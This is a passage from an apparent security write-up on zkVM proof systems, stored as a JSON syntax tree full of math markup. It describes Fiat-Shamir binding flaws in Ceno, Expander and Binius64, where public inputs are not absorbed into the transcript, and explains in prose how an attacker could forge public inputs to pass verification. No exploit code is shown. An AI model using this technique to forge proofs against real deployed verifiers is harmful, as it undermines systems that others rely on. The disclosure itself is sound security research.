"tag":216,"props":124957,"children":124959},{"className":124958},[304],[124960,124980],{"type":25,"tag":216,"props":124961,"children":124963},{"className":124962,"style":97063},[309],[124964],{"type":25,"tag":216,"props":124965,"children":124966},{"style":2268},[124967,124971],{"type":25,"tag":216,"props":124968,"children":124970},{"className":124969,"style":2175},[319],[],{"type":25,"tag":216,"props":124972,"children":124974},{"className":124973},[2180,2181,2182,2183],[124975],{"type":25,"tag":216,"props":124976,"children":124978},{"className":124977},[246,2183],[124979],{"type":31,"value":1876},{"type":25,"tag":216,"props":124981,"children":124983},{"className":124982},[408],[124984],{"type":31,"value":411},{"type":25,"tag":216,"props":124986,"children":124988},{"className":124987},[304],[124989],{"type":25,"tag":216,"props":124990,"children":124992},{"className":124991,"style":2203},[309],[124993],{"type":25,"tag":216,"props":124994,"children":124995},{},[],{"type":25,"tag":216,"props":124997,"children":124999},{"className":124998,"style":335},[257],[],{"type":25,"tag":216,"props":125001,"children":125003},{"className":125002},[340],[125004],{"type":31,"value":343},{"type":25,"tag":216,"props":125006,"children":125008},{"className":125007,"style":335},[257],[],{"type":25,"tag":216,"props":125010,"children":125012},{"className":125011},[235],[125013,125017,125074,125078,125083],{"type":25,"tag":216,"props":125014,"children":125016},{"className":125015,"style":124585},[240],[],{"type":25,"tag":216,"props":125018,"children":125020},{"className":125019},[246],[125021,125026],{"type":25,"tag":216,"props":125022,"children":125024},{"className":125023},[246,2145],[125025],{"type":31,"value":2535},{"type":25,"tag":216,"props":125027,"children":125029},{"className":125028},[2153],[125030],{"type":25,"tag":216,"props":125031,"children":125033},{"className":125032},[298,299],[125034,125063],{"type":25,"tag":216,"props":125035,"children":125037},{"className":125036},[304],[125038,125058],{"type":25,"tag":216,"props":125039,"children":125041},{"className":125040,"style":97063},[309],[125042],{"type":25,"tag":216,"props":125043,"children":125044},{"style":2268},[125045,125049],{"type":25,"tag":216,"props":125046,"children":125048},{"className":125047,"style":2175},[319],[],{"type":25,"tag":216,"props":125050,"children":125052},{"className":125051},[2180,2181,2182,2183],[125053],{"type":25,"tag":216,"props":125054,"children":125056},{"className":125055},[246,2183],[125057],{"type":31,"value":184},{"type":25,"tag":216,"props":125059,"children":125061},{"className":125060},[408],[125062],{"type":31,"value":411},{"type":25,"tag":216,"props":125064,"children":125066},{"className":125065},[304],[125067],{"type":25,"tag":216,"props":125068,"children":125070},{"className":125069,"style":2203},[309],[125071],{"type":25,"tag":216,"props":125072,"children":125073},{},[],{"type":25,"tag":216,"props":125075,"children":125077},{"className":125076,"style":335},[257],[],{"type":25,"tag":216,"props":125079,"children":125081},{"className":125080},[340],[125082],{"type":31,"value":3533},{"type":25,"tag":216,"props":125084,"children":125086},{"className":125085,"style":335},[257],[],{"type":25,"tag":216,"props":125088,"children":125090},{"className":125089},[235],[125091,125095,125100,125104,125109],{"type":25,"tag":216,"props":125092,"children":125094},{"className":125093,"style":96927},[240],[],{"type":25,"tag":216,"props":125096,"children":125098},{"className":125097},[246,2145],[125099],{"type":31,"value":74528},{"type":25,"tag":216,"props":125101,"children":125103},{"className":125102,"style":258},[257],[],{"type":25,"tag":216,"props":125105,"children":125107},{"className":125106},[263],[125108],{"type":31,"value":266},{"type":25,"tag":216,"props":125110,"children":125112},{"className":125111,"style":258},[257],[],{"type":25,"tag":216,"props":125114,"children":125116},{"className":125115},[235],[125117,125121],{"type":25,"tag":216,"props":125118,"children":125120},{"className":125119,"style":5287},[240],[],{"type":25,"tag":216,"props":125122,"children":125124},{"className":125123},[246],[125125],{"type":31,"value":1876},{"type":25,"tag":38,"props":125127,"children":125128},{},[125129],{"type":31,"value":125130},"Substitution reduces this to a quadratic in one variable, which is solvable with the quadratic formula.",{"type":25,"tag":38,"props":125132,"children":125133},{},[125134,125138,125140,125147,125149,125156],{"type":25,"tag":9267,"props":125135,"children":125136},{},[125137],{"type":31,"value":120687},{"type":31,"value":125139}," Fixed on March 5, 2026 via ",{"type":25,"tag":162,"props":125141,"children":125144},{"href":125142,"rel":125143},"https://github.com/scroll-tech/ceno/pull/1262",[166],[125145],{"type":31,"value":125146},"PR #1262",{"type":31,"value":125148}," (original report: ",{"type":25,"tag":162,"props":125150,"children":125153},{"href":125151,"rel":125152},"https://github.com/scroll-tech/ceno/issues/1125",[166],[125154],{"type":31,"value":125155},"#1125",{"type":31,"value":1882},{"type":25,"tag":22747,"props":125158,"children":125159},{},[],{"type":25,"tag":607,"props":125161,"children":125163},{"id":125162},"expander-polyhedra",[125164],{"type":31,"value":125165},"Expander (Polyhedra)",{"type":25,"tag":38,"props":125167,"children":125168},{},[125169],{"type":31,"value":125170},"Expander is a GKR-based proof system for arithmetic circuits.",{"type":25,"tag":38,"props":125172,"children":125173},{},[125174],{"type":25,"tag":9267,"props":125175,"children":125176},{},[125177],{"type":31,"value":119393},{"type":25,"tag":206,"props":125179,"children":125181},{"code":125180},"Proof (raw bytes, parsed in order):\n    - PCS commitment\n    - Sumcheck round polynomials (for each layer)\n    - Layer claims (claim_x, claim_y)\n    - PCS opening proofs\n\nNOT in proof bytes (passed separately):\n    - public_input    // statement data passed separately\n    - claimed_v       // statement claim passed separately\n",[125182],{"type":25,"tag":82,"props":125183,"children":125184},{"__ignoreMap":7},[125185],{"type":31,"value":125180},{"type":25,"tag":38,"props":125187,"children":125188},{},[125189,125191,125197],{"type":31,"value":125190},"In Expander's circuit model, constant gates can reference public input values. During GKR verification, the ",{"type":25,"tag":82,"props":125192,"children":125194},{"className":125193},[],[125195],{"type":31,"value":125196},"eval_cst",{"type":31,"value":125198}," evaluates the contribution of these gates at the sumcheck challenge point:",{"type":25,"tag":206,"props":125200,"children":125202},{"code":125201,"language":6908,"meta":7,"className":6909,"style":7},"sum -= GKRVerifierHelper::eval_cst(&layer.const_, public_input, sp);\n",[125203],{"type":25,"tag":82,"props":125204,"children":125205},{"__ignoreMap":7},[125206],{"type":25,"tag":216,"props":125207,"children":125208},{"class":6916,"line":6917},[125209,125213,125218,125223,125227,125231,125235,125239,125244,125248,125253,125258,125262,125267],{"type":25,"tag":216,"props":125210,"children":125211},{"style":6941},[125212],{"type":31,"value":80598},{"type":25,"tag":216,"props":125214,"children":125215},{"style":6947},[125216],{"type":31,"value":125217}," -=",{"type":25,"tag":216,"props":125219,"children":125220},{"style":7369},[125221],{"type":31,"value":125222}," GKRVerifierHelper",{"type":25,"tag":216,"props":125224,"children":125225},{"style":6947},[125226],{"type":31,"value":7432},{"type":25,"tag":216,"props":125228,"children":125229},{"style":7041},[125230],{"type":31,"value":125196},{"type":25,"tag":216,"props":125232,"children":125233},{"style":6958},[125234],{"type":31,"value":1844},{"type":25,"tag":216,"props":125236,"children":125237},{"style":6947},[125238],{"type":31,"value":7053},{"type":25,"tag":216,"props":125240,"children":125241},{"style":6941},[125242],{"type":31,"value":125243},"layer",{"type":25,"tag":216,"props":125245,"children":125246},{"style":6947},[125247],{"type":31,"value":179},{"type":25,"tag":216,"props":125249,"children":125250},{"style":6958},[125251],{"type":31,"value":125252},"const_, ",{"type":25,"tag":216,"props":125254,"children":125255},{"style":6941},[125256],{"type":31,"value":125257},"public_input",{"type":25,"tag":216,"props":125259,"children":125260},{"style":6958},[125261],{"type":31,"value":7020},{"type":25,"tag":216,"props":125263,"children":125264},{"style":6941},[125265],{"type":31,"value":125266},"sp",{"type":25,"tag":216,"props":125268,"children":125269},{"style":6958},[125270],{"type":31,"value":7791},{"type":25,"tag":38,"props":125272,"children":125273},{},[125274,125276,125281],{"type":31,"value":125275},"This evaluation is a linear combination of public input values, weighted by coefficients derived from the challenges stored in the verifier's scratch pad (",{"type":25,"tag":82,"props":125277,"children":125279},{"className":125278},[],[125280],{"type":31,"value":125266},{"type":31,"value":24696},{"type":25,"tag":38,"props":125283,"children":125284},{},[125285],{"type":25,"tag":9267,"props":125286,"children":125287},{},[125288],{"type":31,"value":125289},"The vulnerability:",{"type":25,"tag":38,"props":125291,"children":125292},{},[125293,125298],{"type":25,"tag":82,"props":125294,"children":125296},{"className":125295},[],[125297],{"type":31,"value":125257},{"type":31,"value":125299}," is never absorbed into the transcript. The transcript is initialized from the PCS commitment and sumcheck round messages, but public inputs are passed separately to the verifier.",{"type":25,"tag":38,"props":125301,"children":125302},{},[125303],{"type":25,"tag":6461,"props":125304,"children":125307},{"alt":125305,"src":125306},"9_expander","/posts/zkvms-unfaithful-claims/9_expander.svg",[],{"type":25,"tag":38,"props":125309,"children":125310},{},[125311,125312,125317],{"type":31,"value":474},{"type":25,"tag":82,"props":125313,"children":125315},{"className":125314},[],[125316],{"type":31,"value":125196},{"type":31,"value":125318}," function computes a linear combination:",{"type":25,"tag":38,"props":125320,"children":125321},{},[125322],{"type":25,"tag":82,"props":125323,"children":125325},{"className":125324},[212,4696],[125326],{"type":25,"tag":216,"props":125327,"children":125329},{"className":125328},[224],[125330],{"type":25,"tag":216,"props":125331,"children":125333},{"className":125332,"ariaHidden":230},[229],[125334,125379,125503],{"type":25,"tag":216,"props":125335,"children":125337},{"className":125336},[235],[125338,125342,125351,125356,125366,125370,125375],{"type":25,"tag":216,"props":125339,"children":125341},{"className":125340,"style":241},[240],[],{"type":25,"tag":216,"props":125343,"children":125345},{"className":125344},[246,31],[125346],{"type":25,"tag":216,"props":125347,"children":125349},{"className":125348},[246],[125350],{"type":31,"value":41505},{"type":25,"tag":216,"props":125352,"children":125354},{"className":125353,"style":2746},[246],[125355],{"type":31,"value":7025},{"type":25,"tag":216,"props":125357,"children":125359},{"className":125358},[246,31],[125360],{"type":25,"tag":216,"props":125361,"children":125363},{"className":125362},[246],[125364],{"type":31,"value":125365},"cst",{"type":25,"tag":216,"props":125367,"children":125369},{"className":125368,"style":258},[257],[],{"type":25,"tag":216,"props":125371,"children":125373},{"className":125372},[263],[125374],{"type":31,"value":266},{"type":25,"tag":216,"props":125376,"children":125378},{"className":125377,"style":258},[257],[],{"type":25,"tag":216,"props":125380,"children":125382},{"className":125381},[235],[125383,125387,125444,125448,125475,125480,125485,125490,125494,125499],{"type":25,"tag":216,"props":125384,"children":125386},{"className":125385,"style":96954},[240],[],{"type":25,"tag":216,"props":125388,"children":125390},{"className":125389},[1835],[125391,125396],{"type":25,"tag":216,"props":125392,"children":125394},{"className":125393,"style":25578},[1835,4042,25577],[125395],{"type":31,"value":4046},{"type":25,"tag":216,"props":125397,"children":125399},{"className":125398},[2153],[125400],{"type":25,"tag":216,"props":125401,"children":125403},{"className":125402},[298,299],[125404,125433],{"type":25,"tag":216,"props":125405,"children":125407},{"className":125406},[304],[125408,125428],{"type":25,"tag":216,"props":125409,"children":125411},{"className":125410,"style":118185},[309],[125412],{"type":25,"tag":216,"props":125413,"children":125414},{"style":25601},[125415,125419],{"type":25,"tag":216,"props":125416,"children":125418},{"className":125417,"style":2175},[319],[],{"type":25,"tag":216,"props":125420,"children":125422},{"className":125421},[2180,2181,2182,2183],[125423],{"type":25,"tag":216,"props":125424,"children":125426},{"className":125425},[246,2145,2183],[125427],{"type":31,"value":2283},{"type":25,"tag":216,"props":125429,"children":125431},{"className":125430},[408],[125432],{"type":31,"value":411},{"type":25,"tag":216,"props":125434,"children":125436},{"className":125435},[304],[125437],{"type":25,"tag":216,"props":125438,"children":125440},{"className":125439,"style":118465},[309],[125441],{"type":25,"tag":216,"props":125442,"children":125443},{},[],{"type":25,"tag":216,"props":125445,"children":125447},{"className":125446,"style":1865},[257],[],{"type":25,"tag":216,"props":125449,"children":125451},{"className":125450},[246],[125452,125461,125466],{"type":25,"tag":216,"props":125453,"children":125455},{"className":125454},[246,31],[125456],{"type":25,"tag":216,"props":125457,"children":125459},{"className":125458},[246],[125460],{"type":31,"value":65637},{"type":25,"tag":216,"props":125462,"children":125464},{"className":125463,"style":2746},[246],[125465],{"type":31,"value":7025},{"type":25,"tag":216,"props":125467,"children":125469},{"className":125468},[246,31],[125470],{"type":25,"tag":216,"props":125471,"children":125473},{"className":125472},[246],[125474],{"type":31,"value":12313},{"type":25,"tag":216,"props":125476,"children":125478},{"className":125477},[287],[125479],{"type":31,"value":7695},{"type":25,"tag":216,"props":125481,"children":125483},{"className":125482},[246,2145],[125484],{"type":31,"value":2283},{"type":25,"tag":216,"props":125486,"children":125488},{"className":125487},[427],[125489],{"type":31,"value":19362},{"type":25,"tag":216,"props":125491,"children":125493},{"className":125492,"style":335},[257],[],{"type":25,"tag":216,"props":125495,"children":125497},{"className":125496},[340],[125498],{"type":31,"value":343},{"type":25,"tag":216,"props":125500,"children":125502},{"className":125501,"style":335},[257],[],{"type":25,"tag":216,"props":125504,"children":125506},{"className":125505},[235],[125507,125511,125520,125525,125530,125535,125539,125588],{"type":25,"tag":216,"props":125508,"children":125510},{"className":125509,"style":5507},[240],[],{"type":25,"tag":216,"props":125512,"children":125514},{"className":125513},[246,31],[125515],{"type":25,"tag":216,"props":125516,"children":125518},{"className":125517},[246],[125519],{"type":31,"value":116573},{"type":25,"tag":216,"props":125521,"children":125523},{"className":125522},[287],[125524],{"type":31,"value":1844},{"type":25,"tag":216,"props":125526,"children":125528},{"className":125527},[246,2145],[125529],{"type":31,"value":2283},{"type":25,"tag":216,"props":125531,"children":125533},{"className":125532},[1858],[125534],{"type":31,"value":1861},{"type":25,"tag":216,"props":125536,"children":125538},{"className":125537,"style":1865},[257],[],{"type":25,"tag":216,"props":125540,"children":125542},{"className":125541},[246,116135],[125543],{"type":25,"tag":216,"props":125544,"children":125546},{"className":125545},[298],[125547],{"type":25,"tag":216,"props":125548,"children":125550},{"className":125549},[304],[125551],{"type":25,"tag":216,"props":125552,"children":125554},{"className":125553,"style":116220},[309],[125555,125567],{"type":25,"tag":216,"props":125556,"children":125557},{"style":116152},[125558,125562],{"type":25,"tag":216,"props":125559,"children":125561},{"className":125560,"style":320},[319],[],{"type":25,"tag":216,"props":125563,"children":125565},{"className":125564,"style":2746},[246,2145],[125566],{"type":31,"value":97823},{"type":25,"tag":216,"props":125568,"children":125569},{"style":116152},[125570,125574],{"type":25,"tag":216,"props":125571,"children":125573},{"className":125572,"style":320},[319],[],{"type":25,"tag":216,"props":125575,"children":125577},{"className":125576,"style":116244},[116174],[125578],{"type":25,"tag":216,"props":125579,"children":125581},{"className":125580,"style":116250},[116249],[125582],{"type":25,"tag":38230,"props":125583,"children":125584},{"xmlns":116254,"width":116255,"height":116256,"style":116257,"viewBox":116258,"preserveAspectRatio":116259},[125585],{"type":25,"tag":116262,"props":125586,"children":125587},{"d":116264},[],{"type":25,"tag":216,"props":125589,"children":125591},{"className":125590},[427],[125592],{"type":31,"value":1882},{"type":25,"tag":38,"props":125594,"children":125595},{},[125596,125597,125666,125668,125673,125675,125680],{"type":31,"value":119813},{"type":25,"tag":82,"props":125598,"children":125600},{"className":125599},[212,4696],[125601],{"type":25,"tag":216,"props":125602,"children":125604},{"className":125603},[224],[125605],{"type":25,"tag":216,"props":125606,"children":125608},{"className":125607,"ariaHidden":230},[229],[125609],{"type":25,"tag":216,"props":125610,"children":125612},{"className":125611},[235],[125613,125617],{"type":25,"tag":216,"props":125614,"children":125616},{"className":125615,"style":116220},[240],[],{"type":25,"tag":216,"props":125618,"children":125620},{"className":125619},[246,116135],[125621],{"type":25,"tag":216,"props":125622,"children":125624},{"className":125623},[298],[125625],{"type":25,"tag":216,"props":125626,"children":125628},{"className":125627},[304],[125629],{"type":25,"tag":216,"props":125630,"children":125632},{"className":125631,"style":116220},[309],[125633,125645],{"type":25,"tag":216,"props":125634,"children":125635},{"style":116152},[125636,125640],{"type":25,"tag":216,"props":125637,"children":125639},{"className":125638,"style":320},[319],[],{"type":25,"tag":216,"props":125641,"children":125643},{"className":125642,"style":2746},[246,2145],[125644],{"type":31,"value":97823},{"type":25,"tag":216,"props":125646,"children":125647},{"style":116152},[125648,125652],{"type":25,"tag":216,"props":125649,"children":125651},{"className":125650,"style":320},[319],[],{"type":25,"tag":216,"props":125653,"children":125655},{"className":125654,"style":116244},[116174],[125656],{"type":25,"tag":216,"props":125657,"children":125659},{"className":125658,"style":116250},[116249],[125660],{"type":25,"tag":38230,"props":125661,"children":125662},{"xmlns":116254,"width":116255,"height":116256,"style":116257,"viewBox":116258,"preserveAspectRatio":116259},[125663],{"type":25,"tag":116262,"props":125664,"children":125665},{"d":116264},[],{"type":31,"value":125667}," contains the challenges. Since challenges are derived before the statement data is bound, they are independent of ",{"type":25,"tag":82,"props":125669,"children":125671},{"className":125670},[],[125672],{"type":31,"value":125257},{"type":31,"value":125674},". This lets an attacker choose an arbitrary false statement (e.g., a forged output) and then solve the induced linear constraints for a modified ",{"type":25,"tag":82,"props":125676,"children":125678},{"className":125677},[],[125679],{"type":31,"value":125257},{"type":31,"value":125681}," that makes the verifier's check pass.",{"type":25,"tag":38,"props":125683,"children":125684},{},[125685,125689,125691,125698,125699,125702,125709],{"type":25,"tag":9267,"props":125686,"children":125687},{},[125688],{"type":31,"value":120687},{"type":31,"value":125690}," Fixed on 21st January 2026 via ",{"type":25,"tag":162,"props":125692,"children":125695},{"href":125693,"rel":125694},"https://github.com/PolyhedraZK/Expander/commit/4a8c2be03535194c1f6b48a93ad2f5480649f7c2",[166],[125696],{"type":31,"value":125697},"commit 4a8c2be",{"type":31,"value":10403},{"type":25,"tag":34924,"props":125700,"children":125701},{},[],{"type":25,"tag":162,"props":125703,"children":125706},{"href":125704,"rel":125705},"https://blog.polyhedra.network/expander-bug-bounty/",[166],[125707],{"type":31,"value":125708},"Claimed 500k Bug bounty",{"type":31,"value":125710}," award pending",{"type":25,"tag":22747,"props":125712,"children":125713},{},[],{"type":25,"tag":607,"props":125715,"children":125717},{"id":125716},"binius64",[125718],{"type":31,"value":111842},{"type":25,"tag":38,"props":125720,"children":125721},{},[125722,125724,125850],{"type":31,"value":125723},"Binius64 is a proof system optimized for binary fields, designed to be efficient on 64-bit CPUs. Binius uses ",{"type":25,"tag":82,"props":125725,"children":125727},{"className":125726},[212,4696],[125728],{"type":25,"tag":216,"props":125729,"children":125731},{"className":125730},[224],[125732],{"type":25,"tag":216,"props":125733,"children":125735},{"className":125734,"ariaHidden":230},[229],[125736],{"type":25,"tag":216,"props":125737,"children":125739},{"className":125738},[235],[125740,125745],{"type":25,"tag":216,"props":125741,"children":125744},{"className":125742,"style":125743},[240],"height:0.8665em;vertical-align:-0.1776em;",[],{"type":25,"tag":216,"props":125746,"children":125748},{"className":125747},[246],[125749,125755],{"type":25,"tag":216,"props":125750,"children":125753},{"className":125751},[246,125752],"mathbb",[125754],{"type":31,"value":5941},{"type":25,"tag":216,"props":125756,"children":125758},{"className":125757},[2153],[125759],{"type":25,"tag":216,"props":125760,"children":125762},{"className":125761},[298,299],[125763,125838],{"type":25,"tag":216,"props":125764,"children":125766},{"className":125765},[304],[125767,125833],{"type":25,"tag":216,"props":125768,"children":125770},{"className":125769,"style":5091},[309],[125771],{"type":25,"tag":216,"props":125772,"children":125774},{"style":125773},"top:-2.5224em;margin-left:0em;margin-right:0.05em;",[125775,125779],{"type":25,"tag":216,"props":125776,"children":125778},{"className":125777,"style":2175},[319],[],{"type":25,"tag":216,"props":125780,"children":125782},{"className":125781},[2180,2181,2182,2183],[125783],{"type":25,"tag":216,"props":125784,"children":125786},{"className":125785},[246,2183],[125787],{"type":25,"tag":216,"props":125788,"children":125790},{"className":125789},[246,2183],[125791,125796],{"type":25,"tag":216,"props":125792,"children":125794},{"className":125793},[246,2183],[125795],{"type":31,"value":331},{"type":25,"tag":216,"props":125797,"children":125799},{"className":125798},[2153],[125800],{"type":25,"tag":216,"props":125801,"children":125803},{"className":125802},[298],[125804],{"type":25,"tag":216,"props":125805,"children":125807},{"className":125806},[304],[125808],{"type":25,"tag":216,"props":125809,"children":125812},{"className":125810,"style":125811},[309],"height:0.7463em;",[125813],{"type":25,"tag":216,"props":125814,"children":125815},{"style":116441},[125816,125820],{"type":25,"tag":216,"props":125817,"children":125819},{"className":125818,"style":5100},[319],[],{"type":25,"tag":216,"props":125821,"children":125823},{"className":125822},[2180,5105,5106,2183],[125824],{"type":25,"tag":216,"props":125825,"children":125827},{"className":125826},[246,2183],[125828],{"type":25,"tag":216,"props":125829,"children":125831},{"className":125830},[246,2183],[125832],{"type":31,"value":33802},{"type":25,"tag":216,"props":125834,"children":125836},{"className":125835},[408],[125837],{"type":31,"value":411},{"type":25,"tag":216,"props":125839,"children":125841},{"className":125840},[304],[125842],{"type":25,"tag":216,"props":125843,"children":125846},{"className":125844,"style":125845},[309],"height:0.1776em;",[125847],{"type":25,"tag":216,"props":125848,"children":125849},{},[],{"type":31,"value":125851}," (or variants thereof), where addition is XOR. This makes certain operations very fast.",{"type":25,"tag":38,"props":125853,"children":125854},{},[125855,125857,125862],{"type":31,"value":125856},"One of Binius's key features is its specialized protocols for bitwise operations. The ",{"type":25,"tag":9267,"props":125858,"children":125859},{},[125860],{"type":31,"value":125861},"Shift Protocol",{"type":31,"value":125863}," efficiently handles bit-shifts and rotations (essential for hash functions like SHA-256) without the massive overhead typical in other proof systems.",{"type":25,"tag":38,"props":125865,"children":125866},{},[125867],{"type":25,"tag":9267,"props":125868,"children":125869},{},[125870],{"type":31,"value":125289},{"type":25,"tag":38,"props":125872,"children":125873},{},[125874],{"type":31,"value":125875},"The verifier receives the public witness (program inputs/outputs) as a separate parameter:",{"type":25,"tag":206,"props":125877,"children":125879},{"code":125878,"language":6908,"meta":7,"className":6909,"style":7},"pub fn verify\u003CF, C>(\n    constraint_system: &ConstraintSystem,\n    public: &[Word],    // \u003C- NEVER ABSORBED\n    // ...\n) -> Result\u003CVerifyOutput\u003CF>, Error>\n",[125880],{"type":25,"tag":82,"props":125881,"children":125882},{"__ignoreMap":7},[125883,125918,125943,125977,125985],{"type":25,"tag":216,"props":125884,"children":125885},{"class":6916,"line":6917},[125886,125890,125894,125898,125902,125906,125910,125914],{"type":25,"tag":216,"props":125887,"children":125888},{"style":6930},[125889],{"type":31,"value":17641},{"type":25,"tag":216,"props":125891,"children":125892},{"style":6930},[125893],{"type":31,"value":17646},{"type":25,"tag":216,"props":125895,"children":125896},{"style":7041},[125897],{"type":31,"value":12112},{"type":25,"tag":216,"props":125899,"children":125900},{"style":6958},[125901],{"type":31,"value":9751},{"type":25,"tag":216,"props":125903,"children":125904},{"style":7369},[125905],{"type":31,"value":5941},{"type":25,"tag":216,"props":125907,"children":125908},{"style":6958},[125909],{"type":31,"value":7020},{"type":25,"tag":216,"props":125911,"children":125912},{"style":7369},[125913],{"type":31,"value":120206},{"type":25,"tag":216,"props":125915,"children":125916},{"style":6958},[125917],{"type":31,"value":10534},{"type":25,"tag":216,"props":125919,"children":125920},{"class":6916,"line":6763},[125921,125926,125930,125934,125939],{"type":25,"tag":216,"props":125922,"children":125923},{"style":6941},[125924],{"type":31,"value":125925},"    constraint_system",{"type":25,"tag":216,"props":125927,"children":125928},{"style":6947},[125929],{"type":31,"value":1466},{"type":25,"tag":216,"props":125931,"children":125932},{"style":6947},[125933],{"type":31,"value":11087},{"type":25,"tag":216,"props":125935,"children":125936},{"style":7369},[125937],{"type":31,"value":125938},"ConstraintSystem",{"type":25,"tag":216,"props":125940,"children":125941},{"style":6958},[125942],{"type":31,"value":7459},{"type":25,"tag":216,"props":125944,"children":125945},{"class":6916,"line":6772},[125946,125950,125954,125958,125962,125967,125972],{"type":25,"tag":216,"props":125947,"children":125948},{"style":6941},[125949],{"type":31,"value":11467},{"type":25,"tag":216,"props":125951,"children":125952},{"style":6947},[125953],{"type":31,"value":1466},{"type":25,"tag":216,"props":125955,"children":125956},{"style":6947},[125957],{"type":31,"value":11087},{"type":25,"tag":216,"props":125959,"children":125960},{"style":6958},[125961],{"type":31,"value":7695},{"type":25,"tag":216,"props":125963,"children":125964},{"style":7369},[125965],{"type":31,"value":125966},"Word",{"type":25,"tag":216,"props":125968,"children":125969},{"style":6958},[125970],{"type":31,"value":125971},"],    ",{"type":25,"tag":216,"props":125973,"children":125974},{"style":6921},[125975],{"type":31,"value":125976},"// \u003C- NEVER ABSORBED\n",{"type":25,"tag":216,"props":125978,"children":125979},{"class":6916,"line":6999},[125980],{"type":25,"tag":216,"props":125981,"children":125982},{"style":6921},[125983],{"type":31,"value":125984},"    // ...\n",{"type":25,"tag":216,"props":125986,"children":125987},{"class":6916,"line":7104},[125988,125992,125996,126000,126004,126009,126013,126017,126021,126025],{"type":25,"tag":216,"props":125989,"children":125990},{"style":6958},[125991],{"type":31,"value":7030},{"type":25,"tag":216,"props":125993,"children":125994},{"style":6947},[125995],{"type":31,"value":17708},{"type":25,"tag":216,"props":125997,"children":125998},{"style":7369},[125999],{"type":31,"value":17713},{"type":25,"tag":216,"props":126001,"children":126002},{"style":6958},[126003],{"type":31,"value":9751},{"type":25,"tag":216,"props":126005,"children":126006},{"style":7369},[126007],{"type":31,"value":126008},"VerifyOutput",{"type":25,"tag":216,"props":126010,"children":126011},{"style":6958},[126012],{"type":31,"value":9751},{"type":25,"tag":216,"props":126014,"children":126015},{"style":7369},[126016],{"type":31,"value":5941},{"type":25,"tag":216,"props":126018,"children":126019},{"style":6958},[126020],{"type":31,"value":10576},{"type":25,"tag":216,"props":126022,"children":126023},{"style":7369},[126024],{"type":31,"value":41355},{"type":25,"tag":216,"props":126026,"children":126027},{"style":6958},[126028],{"type":31,"value":9937},{"type":25,"tag":38,"props":126030,"children":126031},{},[126032,126034,126040,126041,126047,126049,126053],{"type":31,"value":126033},"In the shift protocol, challenges ",{"type":25,"tag":82,"props":126035,"children":126037},{"className":126036},[],[126038],{"type":31,"value":126039},"r_j",{"type":31,"value":1301},{"type":25,"tag":82,"props":126042,"children":126044},{"className":126043},[],[126045],{"type":31,"value":126046},"inout_eval_point",{"type":31,"value":126048}," are sampled ",{"type":25,"tag":9267,"props":126050,"children":126051},{},[126052],{"type":31,"value":108543},{"type":31,"value":126054}," the public witness is bound.",{"type":25,"tag":38,"props":126056,"children":126057},{},[126058],{"type":25,"tag":9267,"props":126059,"children":126060},{},[126061],{"type":31,"value":119409},{"type":25,"tag":38,"props":126063,"children":126064},{},[126065],{"type":25,"tag":6461,"props":126066,"children":126069},{"alt":126067,"src":126068},"10_binius","/posts/zkvms-unfaithful-claims/10_binius.svg",[],{"type":25,"tag":38,"props":126071,"children":126072},{},[126073],{"type":31,"value":126074},"During verification",{"type":25,"tag":6705,"props":126076,"children":126077},{},[126078,126098,126110,126129],{"type":25,"tag":2037,"props":126079,"children":126080},{},[126081,126083,126088,126090,126096],{"type":31,"value":126082},"Sumcheck produces challenge points ",{"type":25,"tag":82,"props":126084,"children":126086},{"className":126085},[],[126087],{"type":31,"value":126039},{"type":31,"value":126089}," (bit indices) and ",{"type":25,"tag":82,"props":126091,"children":126093},{"className":126092},[],[126094],{"type":31,"value":126095},"r_s",{"type":31,"value":126097}," (shift indices)",{"type":25,"tag":2037,"props":126099,"children":126100},{},[126101,126103,126108],{"type":31,"value":126102},"Verifier samples ",{"type":25,"tag":82,"props":126104,"children":126106},{"className":126105},[],[126107],{"type":31,"value":126046},{"type":31,"value":126109}," from transcript",{"type":25,"tag":2037,"props":126111,"children":126112},{},[126113,126115,126121,126123,126128],{"type":31,"value":126114},"Verifier computes ",{"type":25,"tag":82,"props":126116,"children":126118},{"className":126117},[],[126119],{"type":31,"value":126120},"public_eval = MLE(public, r_j, inout_eval_point)",{"type":31,"value":126122}," using the unbound ",{"type":25,"tag":82,"props":126124,"children":126126},{"className":126125},[],[126127],{"type":31,"value":65637},{"type":31,"value":22086},{"type":25,"tag":2037,"props":126130,"children":126131},{},[126132,126133,126139],{"type":31,"value":474},{"type":25,"tag":82,"props":126134,"children":126136},{"className":126135},[],[126137],{"type":31,"value":126138},"public_eval",{"type":31,"value":126140}," feeds into subsequent verification equations",{"type":25,"tag":38,"props":126142,"children":126143},{},[126144],{"type":31,"value":126145},"The MLE evaluation is linear in the public witness bits:",{"type":25,"tag":38,"props":126147,"children":126148},{},[126149],{"type":25,"tag":82,"props":126150,"children":126152},{"className":126151},[212,4696],[126153],{"type":25,"tag":216,"props":126154,"children":126156},{"className":126155},[224],[126157],{"type":25,"tag":216,"props":126158,"children":126160},{"className":126159,"ariaHidden":230},[229],[126161,126205,126344,126456],{"type":25,"tag":216,"props":126162,"children":126164},{"className":126163},[235],[126165,126169,126178,126183,126192,126196,126201],{"type":25,"tag":216,"props":126166,"children":126168},{"className":126167,"style":241},[240],[],{"type":25,"tag":216,"props":126170,"children":126172},{"className":126171},[246,31],[126173],{"type":25,"tag":216,"props":126174,"children":126176},{"className":126175},[246],[126177],{"type":31,"value":65637},{"type":25,"tag":216,"props":126179,"children":126181},{"className":126180,"style":2746},[246],[126182],{"type":31,"value":7025},{"type":25,"tag":216,"props":126184,"children":126186},{"className":126185},[246,31],[126187],{"type":25,"tag":216,"props":126188,"children":126190},{"className":126189},[246],[126191],{"type":31,"value":41505},{"type":25,"tag":216,"props":126193,"children":126195},{"className":126194,"style":258},[257],[],{"type":25,"tag":216,"props":126197,"children":126199},{"className":126198},[263],[126200],{"type":31,"value":266},{"type":25,"tag":216,"props":126202,"children":126204},{"className":126203,"style":258},[257],[],{"type":25,"tag":216,"props":126206,"children":126208},{"className":126207},[235],[126209,126213,126284,126288,126301,126306,126311,126316,126321,126326,126331,126335,126340],{"type":25,"tag":216,"props":126210,"children":126212},{"className":126211,"style":122739},[240],[],{"type":25,"tag":216,"props":126214,"children":126216},{"className":126215},[1835],[126217,126222],{"type":25,"tag":216,"props":126218,"children":126220},{"className":126219,"style":25578},[1835,4042,25577],[126221],{"type":31,"value":4046},{"type":25,"tag":216,"props":126223,"children":126225},{"className":126224},[2153],[126226],{"type":25,"tag":216,"props":126227,"children":126229},{"className":126228},[298,299],[126230,126273],{"type":25,"tag":216,"props":126231,"children":126233},{"className":126232},[304],[126234,126268],{"type":25,"tag":216,"props":126235,